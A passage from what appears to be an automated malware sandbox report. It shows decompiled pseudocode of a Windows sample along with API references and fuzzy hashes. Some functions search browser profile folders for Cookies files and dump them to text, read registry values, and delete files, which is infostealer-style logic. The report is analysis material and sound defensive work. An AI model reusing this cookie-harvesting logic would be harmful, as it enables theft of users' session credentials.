				E004049A0(0x41ca78, 0x40b3bc, _v60);
				_t39 =  *0x41ca78; // 0x6ef610
				 *((intOrPtr*)( *_t39 + 0x1c))(_t39, E0040495C( &_v8), 1, 0,  *[fs:eax], 0x40b3a9, _t106, __edi, __esi, __ebx, _t105);
				_t42 = _v8;
				 *((intOrPtr*)( *_t42 + 0x1c))(_t42, 0x40b3cc, 0);
				while(1) {
					_push( &_v12);
					_push( &_v56);
					_push(1);
					_t47 = _v8;
					_push(_t47);
					if( *((intOrPtr*)( *_t47 + 0xc))() != 0) {
						break;
					}
					_t80 = _t80 + 1;
					_push(_t80);
					E00404804();
					_t109 = _t109 + 4;
					E0040370C( &_v16, _v52);
					if(E00403AD4(E0040B3D8, _v16) != 0) {
						E004039F0(_v16, E00403AD4(E0040B3D8, _v16) - 1, 0,  &_v16);
					}
					 *((intOrPtr*)( *_t104 + _t80 * 4 - 4)) = E00402530(E00403790(_v16) + 1 + E00403790(_v16) + 1);
					E00404594(_v16, E00403790(_v16) + 1 + E00403790(_v16) + 1, _t60);
				}
				_pop(_t98);
				 *[fs:eax] = _t98;
				_push(E0040B3B0);
				E0040495C( &_v60);
				E004034E4( &_v16);
				return E0040495C( &_v8);
			}

0x0040b25d
0x0040b25f
0x0040b267
0x0040b26a
0x0040b26d
0x0040b270
0x0040b27d
0x0040b282
0x0040b287
0x0040b293
0x0040b298
0x0040b29d
0x0040b2a8
0x0040b2ba
0x0040b2c8
0x0040b2d0
0x0040b2da
0x0040b2e0
0x0040b368
0x0040b36b
0x0040b36f
0x0040b370
0x0040b372
0x0040b375
0x0040b37d
0x00000000
0x00000000
0x0040b2e8
0x0040b2e9
0x0040b2f7
0x0040b2fc
0x0040b305
0x0040b319
0x0040b334
0x0040b334
0x0040b34d
0x0040b363
0x0040b363
0x0040b385
0x0040b388
0x0040b38b
0x0040b393
0x0040b39b
0x0040b3a8

APIs

OleInitialize.OLE32(00000000), ref: 0040B282

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: d30836ddc1409fdf9a8374d37fef35613b021cf67b3851e34091d0a9a0415fc4
Instruction ID: c88935c142374d05637e4e5ef7e11d934145d739cb85352ca4efeef76b47b7cb
Opcode Fuzzy Hash: d30836ddc1409fdf9a8374d37fef35613b021cf67b3851e34091d0a9a0415fc4
Instruction Fuzzy Hash: 0B412671A10108AFD704EFAAD841A9EB7F9EF48304F608176F514F72D1DB79AE058798

Uniqueness

Uniqueness Score: -1.00%

Function 0051E21B, Relevance: 1.6, APIs: 1, Instructions: 110threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32 ref: 0051E2B1

Memory Dump Source

Source File: 0000000C.00000002.511022178.000000000051E000.00000040.00020000.sdmp, Offset: 0051E000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 4601e05dd86bc5aff29d4a9f17510810aadc4703069b242e56c81c9273c06ca3
Instruction ID: 87f19b3db45ef63bef686fd3d25733143ede2c1e25c86546d6980f77d839716c
Opcode Fuzzy Hash: 4601e05dd86bc5aff29d4a9f17510810aadc4703069b242e56c81c9273c06ca3
Instruction Fuzzy Hash: 3D315A31505341CFEB248F20C8EA7E97FE6BF62324F69495ADC654B2A2C335A9C5C702

Uniqueness

Uniqueness Score: -1.00%

Function 0040B7F6, Relevance: 1.6, APIs: 1, Instructions: 94
registryCOMMON

Download Yara Rule

C-Code - Quality: 34%

			E0040B7F6(void* __eax, short* __ebx, char __ecx, short* __edx, void* __esi, char _a1, intOrPtr _a8) {
				char _v4;
				char _v8;
				char _v12;
				void* _v16;
				char _v20;
				void* _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				intOrPtr _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				void* _v76;
				char _t73;
				long _t80;
				intOrPtr* _t82;
				intOrPtr* _t103;
				intOrPtr* _t116;
				intOrPtr* _t126;
				intOrPtr* _t142;
				signed int _t160;
				intOrPtr _t168;
				intOrPtr _t170;
				intOrPtr _t171;
				void* _t181;
				void* _t182;
				void* _t185;
				char* _t186;
				intOrPtr _t187;
				intOrPtr _t188;
				void* _t195;

				_t159 = __ebx;
				_t73 = __eax + 1;
				 *__ebx =  *__ebx + __ecx;
				if( *__ebx == 0) {
					_t186 =  &_a1;
					asm("aaa");
					_pop(_t183);
					asm("arpl [gs:edi+0x64], bp");
					_push(_t186);
					_push(_t186);
					_t187 = _t188;
					_t188 = _t188 + 0xffffffb8;
					_push(__ebx);
					_v72 = 0;
					_v76 = 0;
					_v68 = 0;
					_v16 = 0;
					_v24 = 0;
					_v12 = __ecx;
					_t159 = __edx;
					_v8 = _t73;
					E00404874(_v8);
					E00403980(_v12);
					_push(_t187);
					_push(0x40ba26);
					_push( *[fs:eax]);
					 *[fs:eax] = _t188;
				}
				E004034E4(_a8);
				_v16 = 0;
				_t80 = RegOpenKeyExW(0x80000001, _t159, 0, 1,  &_v24); // executed
				if(_t80 == 0) {
					_v28 = 0x400;
					_t185 = E00402530(_v28);
					while(1) {
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push( &_v28);
						_push(_t185);
						_push(_v16);
						_push(_v24);
						_t103 =  *0x41b3a4; // 0x41c734
						if( *((intOrPtr*)( *_t103))() == 0x103) {
							goto L13;
						}
						_v28 = 0x400;
						_t181 = E00404650();
						if(_t181 >= 0) {
							_t182 = _t181 + 1;
							_t160 = 0;
							do {
								E0040B47C( *((intOrPtr*)(_v4 + _t160 * 4)), _t160,  &_v20, _t182, _t185);
								_t116 =  *0x41b398; // 0x41c710
								 *((intOrPtr*)( *_t116))(_v24, _t185, 0,  &_v32, 0,  &_v36);
								_push(_v36);
								E00404804();
								_t188 = _t188 + 4;
								_push( &_v36);
								_push(_v12);
								_push( &_v32);
								_push(0);
								_push(_t185);
								_push(_v24);
								_t126 =  *0x41b398; // 0x41c710
								if( *((intOrPtr*)( *_t126))() == 0) {
									_v40 = _v12;
									_v44 = _v36;
									_v56 =  *((intOrPtr*)(_v4 + _t160 * 4));
									E00403D24( &_v64,  *((intOrPtr*)(_v4 + _t160 * 4)));
									_v60 = E00403DA8(_v64) + 1 + E00403DA8(_v64) + 1;
									_push( &_v52);
									_push(1);
									_push(0);
									_push(0);
									_push( &_v60);
									_push(0);
									_push( &_v44);
									_t142 =  *0x41b338; // 0x41ca64
									if( *((intOrPtr*)( *_t142))() != 0) {
										E0040370C( &_v72,  *((intOrPtr*)(_v4 + _t160 * 4)));
										E0040B66C(_v48, _t160, _v8, _t182, _t185, _t195,  &_v68, _v72);
										E00403798(_a8, _v68);
									}
								}
								_t160 = _t160 + 1;
								_t182 = _t182 - 1;
							} while (_t182 != 0);
						}
						E00404F5C();
						_v16 = _v16 + 1;
					}
				}
				L13:
				_t82 =  *0x41b1fc; // 0x41c714
				 *((intOrPtr*)( *_t82))(_v24);
				_pop(_t168);
				 *[fs:eax] = _t168;
				_push(E0040BA2D);
				E00403508( &_v72, 2);
				E00403BDC( &_v64);
				E004034E4( &_v20);
				_t170 =  *0x40b7e0; // 0x40b7e4
				E00404810( &_v12, _t170);
				E004034E4( &_v8);
				_t171 =  *0x40b1f0; // 0x40b1f4
				return E00404810( &_v4, _t171);
			}

0x0040b7f6
0x0040b7f6
0x0040b7f7
0x0040b7f9
0x0040b7fb
0x0040b7fc
0x0040b7fd
0x0040b7fe
0x0040b803
0x0040b804
0x0040b805
0x0040b807
0x0040b80a
0x0040b80f
0x0040b812
0x0040b815
0x0040b818
0x0040b81b
0x0040b81e
0x0040b821
0x0040b823
0x0040b829
0x0040b831
0x0040b838
0x0040b839
0x0040b83e
0x0040b841
0x0040b841
0x0040b847
0x0040b84e
0x0040b866
0x0040b86a
0x0040b870
0x0040b87f
0x0040b9a1
0x0040b9a1
0x0040b9a3
0x0040b9a5
0x0040b9a7
0x0040b9ac
0x0040b9ad
0x0040b9b1
0x0040b9b5
0x0040b9b6
0x0040b9c4
0x00000000
0x00000000
0x0040b886
0x0040b895
0x0040b899
0x0040b89f
0x0040b8a0
0x0040b8a2
0x0040b8ab
0x0040b8c1
0x0040b8c8
0x0040b8cd
0x0040b8dc
0x0040b8e1
0x0040b8e7
0x0040b8eb
0x0040b8ef
0x0040b8f0
0x0040b8f2
0x0040b8f6
0x0040b8f7
0x0040b902
0x0040b90b
0x0040b911
0x0040b91a
0x0040b926
0x0040b936
0x0040b93c
0x0040b93d
0x0040b93f
0x0040b941
0x0040b946
0x0040b947
0x0040b94c
0x0040b94d
0x0040b958
0x0040b963
0x0040b979
0x0040b984
0x0040b989
0x0040b958
0x0040b98c
0x0040b98d
0x0040b98d
0x0040b8a2
0x0040b999
0x0040b99e
0x0040b99e
0x0040b9a1
0x0040b9ca
0x0040b9ce
0x0040b9d5
0x0040b9d9
0x0040b9dc
0x0040b9df
0x0040b9ec
0x0040b9f4
0x0040b9fc
0x0040ba04
0x0040ba0a
0x0040ba12
0x0040ba1a
0x0040ba25

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,00000000,00000001,0040BA88,00000000,0040BA26,?,00000000,?,0041A212), ref: 0040B866

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: f1f9334443584011cf5168663a8e67e6e779add6abc14e1a091fd41e02c1005d
Instruction ID: 9a17799ac8c0ff2d3e348671e1a29b6c9fd41175bbc70158a8eb9afbb2bce372
Opcode Fuzzy Hash: f1f9334443584011cf5168663a8e67e6e779add6abc14e1a091fd41e02c1005d
Instruction Fuzzy Hash: 86311B71A00209AFDB10DF99CD81A9EBBF8FF48304F50447AE514F72A1D778AA05CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0051E24F, Relevance: 1.6, APIs: 1, Instructions: 93threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32 ref: 0051E2B1

Memory Dump Source

Source File: 0000000C.00000002.511022178.000000000051E000.00000040.00020000.sdmp, Offset: 0051E000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 774cc261a08b211d6a7c4dc9c723dfd53290e4c6eca7aefe9b0b8218c05afab6
Instruction ID: 680925099bf95562431288d2c63d1c393954bdcad9d4ff0d912db6b2b67811ab
Opcode Fuzzy Hash: 774cc261a08b211d6a7c4dc9c723dfd53290e4c6eca7aefe9b0b8218c05afab6
Instruction Fuzzy Hash: C531F634505381CFFB254F2088E67E87FA6BF52324F694A5ADC654B1E2C33499C9CB02

Uniqueness

Uniqueness Score: -1.00%

Function 0051E238, Relevance: 1.6, APIs: 1, Instructions: 81threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32 ref: 0051E2B1

Memory Dump Source

Source File: 0000000C.00000002.511022178.000000000051E000.00000040.00020000.sdmp, Offset: 0051E000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 7556aa6ebd0f69cca98c1a16ab087657cff22b2fe6f3a02844653519f4d98637
Instruction ID: cbdeef9ad689e2ae61ebcbf2c891c8447686c17598eeaa4963d362c9cbae5dde
Opcode Fuzzy Hash: 7556aa6ebd0f69cca98c1a16ab087657cff22b2fe6f3a02844653519f4d98637
Instruction Fuzzy Hash: 1031A534604345CFFB248F20C9D67E97BE6BF51324F69495ADC6A4B1A2C335A9C5CB02

Uniqueness

Uniqueness Score: -1.00%

Function 00407D14, Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

FreeSid.ADVAPI32(00000000,00407DD9), ref: 00407DCC

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: Free
String ID:
API String ID: 3978063606-0
Opcode ID: 5e83c9b084e7e35297349d76812e9dffc00df868e7d935d63620226d682594f6
Instruction ID: 27b9dc68911105edb543898119344a1168ea53adb1432c2ff39c990f87532faf
Opcode Fuzzy Hash: 5e83c9b084e7e35297349d76812e9dffc00df868e7d935d63620226d682594f6
Instruction Fuzzy Hash: 0E21B575A04209AFDB41CBA8DC51BEFB7F8EB08700F104466EA14E7290E775AA008BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040B1F1, Relevance: 1.6, APIs: 1, Instructions: 68
comCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E0040B1F1(signed int __eax, signed int __ebx, signed int __edx, void* __esi) {
				intOrPtr* _t42;
				intOrPtr* _t45;
				intOrPtr* _t50;
				void* _t82;
				signed int _t84;
				intOrPtr _t103;
				signed int _t108;
				signed int _t110;
				intOrPtr _t111;
				void* _t112;
				signed int _t114;

				_t84 = __ebx;
				 *0x40 =  *0x40 + __edx;
				 *0x00000093 =  *0x00000093 | __edx;
				if( *0x00000093 == 0) {
					 *((intOrPtr*)(_t110 - 0xc)) = __edx;
					_t108 = __eax;
					_push(_t110);
					_push(0x40b3a9);
					_push( *[fs:eax]);
					 *[fs:eax] = _t111;
					_push(0); // executed
					L0040B1A4(); // executed
					_t84 = 0;
					_push(1);
					goto L6;
				} else {
					_t110 =  *(__esi + 0x67) * 4;
					 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
					 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
					asm("invalid");
					asm("invalid");
					 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
					 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
					_push(__edx);
					_t111 = _t111 - 1;
					_t82 = __eax - 1;
					_t108 =  *(__ebx + 0x74) * 0x8b79726f;
					_t114 = _t108;
					asm("outsd");
					if(_t114 < 0) {
						L6:
						asm("adc eax, 0x40b1f0");
						E00404804();
						_t112 = _t111 + 4;
						E0040B224(0x41b0dc, _t110 - 0x38);
						E004049A0(0x41ca78, 0x40b3bc,  *((intOrPtr*)(_t110 - 0x38)));
						_t42 =  *0x41ca78; // 0x6ef610
						 *((intOrPtr*)( *_t42 + 0x1c))(_t42, E0040495C(_t110 - 4));
						_t45 =  *((intOrPtr*)(_t110 - 4));
						 *((intOrPtr*)( *_t45 + 0x1c))(_t45, 0x40b3cc, 0);
						while(1) {
							_push(_t110 - 8);
							_push(_t110 - 0x34);
							_push(1);
							_t50 =  *((intOrPtr*)(_t110 - 4));
							_push(_t50);
							if( *((intOrPtr*)( *_t50 + 0xc))() != 0) {
								break;
							}
							_t84 = _t84 + 1;
							_push(_t84);
							E00404804();
							_t112 = _t112 + 4;
							E0040370C(_t110 - 0xc,  *((intOrPtr*)(_t110 - 0x30)));
							if(E00403AD4(E0040B3D8,  *((intOrPtr*)(_t110 - 0xc))) != 0) {
								E004039F0( *((intOrPtr*)(_t110 - 0xc)), E00403AD4(E0040B3D8,  *((intOrPtr*)(_t110 - 0xc))) - 1, 0, _t110 - 0xc);
							}
							 *((intOrPtr*)( *_t108 + _t84 * 4 - 4)) = E00402530(E00403790( *((intOrPtr*)(_t110 - 0xc))) + 1 + E00403790( *((intOrPtr*)(_t110 - 0xc))) + 1);
							E00404594( *((intOrPtr*)(_t110 - 0xc)), E00403790( *((intOrPtr*)(_t110 - 0xc))) + 1 + E00403790( *((intOrPtr*)(_t110 - 0xc))) + 1, _t63);
						}
						_pop(_t103);
						 *[fs:eax] = _t103;
						_push(E0040B3B0);
						E0040495C(_t110 - 0x38);
						E004034E4(_t110 - 0xc);
						return E0040495C(_t110 - 4);
					} else {
						return E0040B1AC(_t82);
					}
				}
			}

0x0040b1f1
0x0040b1f3
0x0040b1f5
0x0040b1f9
0x0040b26d
0x0040b270
0x0040b274
0x0040b275
0x0040b27a
0x0040b27d
0x0040b280
0x0040b282
0x0040b287
0x0040b289
0x00000000
0x0040b1fb
0x0040b1fb
0x0040b202
0x0040b204
0x0040b206
0x0040b208
0x0040b20a
0x0040b20c
0x0040b211
0x0040b212
0x0040b213
0x0040b214
0x0040b214
0x0040b217
0x0040b218
0x0040b293
0x0040b293
0x0040b298
0x0040b29d
0x0040b2a8
0x0040b2ba
0x0040b2c8
0x0040b2d0
0x0040b2da
0x0040b2e0
0x0040b368
0x0040b36b
0x0040b36f
0x0040b370
0x0040b372
0x0040b375
0x0040b37d
0x00000000
0x00000000
0x0040b2e8
0x0040b2e9
0x0040b2f7
0x0040b2fc
0x0040b305
0x0040b319
0x0040b334
0x0040b334
0x0040b34d
0x0040b363
0x0040b363
0x0040b385
0x0040b388
0x0040b38b
0x0040b393
0x0040b39b
0x0040b3a8
0x0040b21c
0x0040b221
0x0040b221
0x0040b218

APIs

OleInitialize.OLE32(00000000), ref: 0040B282

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 67d68c7ff2cf0783649e8f11be3508c4047d0b263d5c73358eb907004b94e72c
Instruction ID: d56c344eb3216282757b74ba43926a06aa4a9d5816d5202f5fa97c8ec1e6a1bd
Opcode Fuzzy Hash: 67d68c7ff2cf0783649e8f11be3508c4047d0b263d5c73358eb907004b94e72c
Instruction Fuzzy Hash: 462195B1604208AFD301EBA5D851B9E7BB8EF45304F6040B7F600EB2E2D779AD04CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040FA1D, Relevance: 1.5, APIs: 1, Instructions: 48
fileCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E0040FA1D(void* __ebx) {
				void* _t64;
				int _t69;
				intOrPtr* _t71;
				void* _t110;
				void* _t125;
				void* _t127;
				intOrPtr _t139;
				intOrPtr _t146;
				void* _t163;
				void* _t164;
				void* _t165;
				intOrPtr _t166;

				_t127 = __ebx;
				E0040300C();
				while(1) {
					_t69 = FindNextFileW( *(_t165 - 0x14), _t165 - 0x264); // executed
					if(_t69 == 0) {
						break;
					}
					_push( *((intOrPtr*)(_t165 - 4)));
					_push(0x40fb0c);
					E00403D6C(_t165 - 0x270, 0x104, _t165 - 0x238);
					_push( *((intOrPtr*)(_t165 - 0x270)));
					_push(L"\\Cookies");
					E00403E78();
					_t64 = E0040776C( *((intOrPtr*)(_t165 - 0x26c)), _t127, 0x104); // executed
					if(_t64 != 0) {
						_push(_t165);
						_push(0x40fa18);
						_push( *[fs:eax]);
						 *[fs:eax] = _t166;
						if( *((intOrPtr*)(_t165 + 8)) == 0) {
							_push( *((intOrPtr*)(_t165 - 4)));
							_push(0x40fb0c);
							E00403D6C(_t165 - 0x280, 0x104, _t165 - 0x238);
							_push( *((intOrPtr*)(_t165 - 0x280)));
							_push(L"\\Cookies");
							E00403E78();
							E0040EDA8( *((intOrPtr*)(_t165 - 0x27c)), _t127, _t165 - 0x278, _t163, _t164); // executed
							E0040377C(_t165 - 0x274,  *((intOrPtr*)(_t165 - 0x278)));
							_push( *((intOrPtr*)(_t165 - 0x274)));
							_push( *((intOrPtr*)(_t165 - 0xc)));
							_push(0x40fb0c);
							_push( *((intOrPtr*)(_t165 - 8)));
							_push(0x40fb2c);
							E00403D6C(_t165 - 0x28c, 0x104, _t165 - 0x238);
							_push( *((intOrPtr*)(_t165 - 0x28c)));
							_push(L".txt");
							E00403E78();
							E0040377C(_t165 - 0x284,  *((intOrPtr*)(_t165 - 0x288)));
							_pop(_t125);
							E0040E6D4(_t125, _t127,  *((intOrPtr*)(_t165 - 0x284)), _t163, _t164);
						}
						if( *((intOrPtr*)(_t165 + 8)) == 1) {
							_push( *((intOrPtr*)(_t165 - 4)));
							_push(0x40fb0c);
							E00403D6C(_t165 - 0x29c, 0x104, _t165 - 0x238);
							_push( *((intOrPtr*)(_t165 - 0x29c)));
							_push(L"\\Cookies");
							E00403E78();
							E0040F300( *((intOrPtr*)(_t165 - 0x298)), _t127, _t165 - 0x294, _t163, _t164);
							E0040377C(_t165 - 0x290,  *((intOrPtr*)(_t165 - 0x294)));
							_push( *((intOrPtr*)(_t165 - 0x290)));
							_push( *((intOrPtr*)(_t165 - 0xc)));
							_push(0x40fb0c);
							_push( *((intOrPtr*)(_t165 - 8)));
							_push(0x40fb2c);
							E00403D6C(_t165 - 0x2a8, 0x104, _t165 - 0x238);
							_push( *((intOrPtr*)(_t165 - 0x2a8)));
							_push(L".txt");
							E00403E78();
							E0040377C(_t165 - 0x2a0,  *((intOrPtr*)(_t165 - 0x2a4)));
							_pop(_t110);
							E0040E6D4(_t110, _t127,  *((intOrPtr*)(_t165 - 0x2a0)), _t163, _t164);
						}
						_pop(_t146);
						 *[fs:eax] = _t146;
					}
				}
				_t71 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t71))( *(_t165 - 0x14));
				_pop(_t139);
				 *[fs:eax] = _t139;
				_push(E0040FAEC);
				E00403BF4(_t165 - 0x2a8, 2);
				E004034E4(_t165 - 0x2a0);
				E00403BF4(_t165 - 0x29c, 3);
				E004034E4(_t165 - 0x290);
				E00403BF4(_t165 - 0x28c, 2);
				E004034E4(_t165 - 0x284);
				E00403BF4(_t165 - 0x280, 3);
				E004034E4(_t165 - 0x274);
				E00403BF4(_t165 - 0x270, 3);
				return E00403BF4(_t165 - 0xc, 3);
			}

0x0040fa1d
0x0040fa1d
0x0040fa22
0x0040fa34
0x0040fa38
0x00000000
0x00000000
0x0040f820
0x0040f823
0x0040f839
0x0040f83e
0x0040f844
0x0040f854
0x0040f85f
0x0040f866
0x0040f86e
0x0040f86f
0x0040f874
0x0040f877
0x0040f87e
0x0040f884
0x0040f887
0x0040f89d
0x0040f8a2
0x0040f8a8
0x0040f8b8
0x0040f8c9
0x0040f8da
0x0040f8e5
0x0040f8e6
0x0040f8e9
0x0040f8ee
0x0040f8f1
0x0040f907
0x0040f90c
0x0040f912
0x0040f922
0x0040f933
0x0040f93e
0x0040f93f
0x0040f93f
0x0040f948
0x0040f94e
0x0040f951
0x0040f967
0x0040f96c
0x0040f972
0x0040f982
0x0040f993
0x0040f9a4
0x0040f9af
0x0040f9b0
0x0040f9b3
0x0040f9b8
0x0040f9bb
0x0040f9d1
0x0040f9d6
0x0040f9dc
0x0040f9ec
0x0040f9fd
0x0040fa08
0x0040fa09
0x0040fa09
0x0040fa10
0x0040fa13
0x0040fa13
0x0040f866
0x0040fa42
0x0040fa49
0x0040fa4d
0x0040fa50
0x0040fa53
0x0040fa63
0x0040fa6e
0x0040fa7e
0x0040fa89
0x0040fa99
0x0040faa4
0x0040fab4
0x0040fabf
0x0040facf
0x0040fae1

APIs

FindNextFileW.KERNEL32(?,?,\Cookies,?,0040FB0C,0041A212,?,00000000,?,00000000,00000053,00000000,00000000,?,?,004104B7), ref: 0040FA34

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileFindFreeNextString
String ID:
API String ID: 1021606847-0
Opcode ID: 1a8590bda23e6529b79ae30c41728c6a43fa90fc2d643c55267fb97267a4fa74
Instruction ID: 001d90ea98744600c7d1fa78084c6d0644151564c482a2411e83aa6011e86277
Opcode Fuzzy Hash: 1a8590bda23e6529b79ae30c41728c6a43fa90fc2d643c55267fb97267a4fa74
Instruction Fuzzy Hash: 9911AF346001198FD751EF56D996B8EB7BCEB44309F5040B7A418E3692DB38EF498A15

Uniqueness

Uniqueness Score: -1.00%

Function 0040F1DC, Relevance: 1.5, APIs: 1, Instructions: 42
fileCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040F1DC() {
				intOrPtr _t48;
				void* _t52;

				E0040300C();
				E00403C18( *((intOrPtr*)(_t52 - 8)),  *((intOrPtr*)(_t52 - 0x1c)));
				DeleteFileW(E00403D98( *((intOrPtr*)(_t52 - 0x4c)))); // executed
				_pop(_t48);
				 *[fs:eax] = _t48;
				_push(E0040F27D);
				E00403BF4(_t52 - 0x180, 7);
				E00403BDC(_t52 - 0x64);
				E004034E4(_t52 - 0x60);
				E00403BF4(_t52 - 0x5c, 6);
				E00403508(_t52 - 0x44, 7);
				E004034E4(_t52 - 0x28);
				E00403BDC(_t52 - 0x24);
				E004034E4(_t52 - 0x20);
				E00403BDC(_t52 - 0x1c);
				E004034E4(_t52 - 0x18);
				return E00403BDC(_t52 - 4);
			}

0x0040f1dc
0x0040f1e7
0x0040f1fc
0x0040f200
0x0040f203
0x0040f206
0x0040f216
0x0040f21e
0x0040f226
0x0040f233
0x0040f240
0x0040f248
0x0040f250
0x0040f258
0x0040f260
0x0040f268
0x0040f275

APIs

Part of subcall function 00403C18: SysReAllocStringLen.OLEAUT32(?,00406C70,00000002), ref: 00403C2E

DeleteFileW.KERNEL32(00000000), ref: 0040F1FC

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: String$Free$AllocDeleteFile
String ID:
API String ID: 2774942583-0
Opcode ID: f389c00d133872569b321f93880b95ff8623c1c48024646a67ba810d86cb8e86
Instruction ID: 420fc7c0adce8b352e45fba5bbe825e711597b4de10b90243edd78589f011452
Opcode Fuzzy Hash: f389c00d133872569b321f93880b95ff8623c1c48024646a67ba810d86cb8e86
Instruction Fuzzy Hash: D1019C359041089EDB00EF92D9429CDBBB8AF44309F504077E414B7292EB3DFF098A58

Uniqueness

Uniqueness Score: -1.00%

Function 00412BBC, Relevance: 1.5, APIs: 1, Instructions: 36
fileCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00412BBC() {
				intOrPtr _t37;
				void* _t43;

				E0040300C();
				E00403C18( *((intOrPtr*)(_t43 - 8)),  *((intOrPtr*)(_t43 - 0x18)));
				DeleteFileW(E00403D98( *((intOrPtr*)(_t43 - 0x28)))); // executed
				_pop(_t37);
				 *[fs:eax] = _t37;
				_push(E00412C48);
				_t4 = _t43 - 0x58; // 0x6f747311
				E00403BF4(_t4, 4);
				_t5 = _t43 - 0x48; // 0x6f747321
				E004034E4(_t5);
				_t6 = _t43 - 0x44; // 0x6f747325
				E00403BF4(_t6, 4);
				_t7 = _t43 - 0x34; // 0x6f747335
				E00403508(_t7, 3);
				_t8 = _t43 - 0x28; // 0x6f747341
				E00403BF4(_t8, 2);
				_t9 = _t43 - 0x20; // 0x6f747349
				E004034E4(_t9);
				_t10 = _t43 - 0x1c; // 0x6f74734d
				E00403BF4(_t10, 2);
				_t11 = _t43 - 4; // 0x6f747365
				return E00403BDC(_t11);
			}

0x00412bbc
0x00412bc7
0x00412bd5
0x00412bdc
0x00412bdf
0x00412be2
0x00412be7
0x00412bef
0x00412bf4
0x00412bf7
0x00412bfc
0x00412c04
0x00412c09
0x00412c11
0x00412c16
0x00412c1e
0x00412c23
0x00412c26
0x00412c2b
0x00412c33
0x00412c38
0x00412c40

APIs

Part of subcall function 00403C18: SysReAllocStringLen.OLEAUT32(?,00406C70,00000002), ref: 00403C2E

DeleteFileW.KERNEL32(00000000), ref: 00412BD5

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: String$Free$AllocDeleteFile
String ID:
API String ID: 2774942583-0
Opcode ID: 675c3e352e15beb185d761b884ac06074913e7e359f951f23eeae7d1438317a9
Instruction ID: 6970f5a12f04dda9d4c364658d558b1b4cd3d47585382d50b530245c8b746397
Opcode Fuzzy Hash: 675c3e352e15beb185d761b884ac06074913e7e359f951f23eeae7d1438317a9
Instruction Fuzzy Hash: 35F0BF359041085EDB00FFA2C5426DEBBBDAF84319F50407BB514B2696D63CEB4A9518

Uniqueness

Uniqueness Score: -1.00%

Function 0041152B, Relevance: 1.5, APIs: 1, Instructions: 35
fileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E0041152B() {
				intOrPtr _t37;
				void* _t42;

				E0040300C();
				E00403C18( *((intOrPtr*)(_t42 - 8)),  *((intOrPtr*)(_t42 - 0x18)));
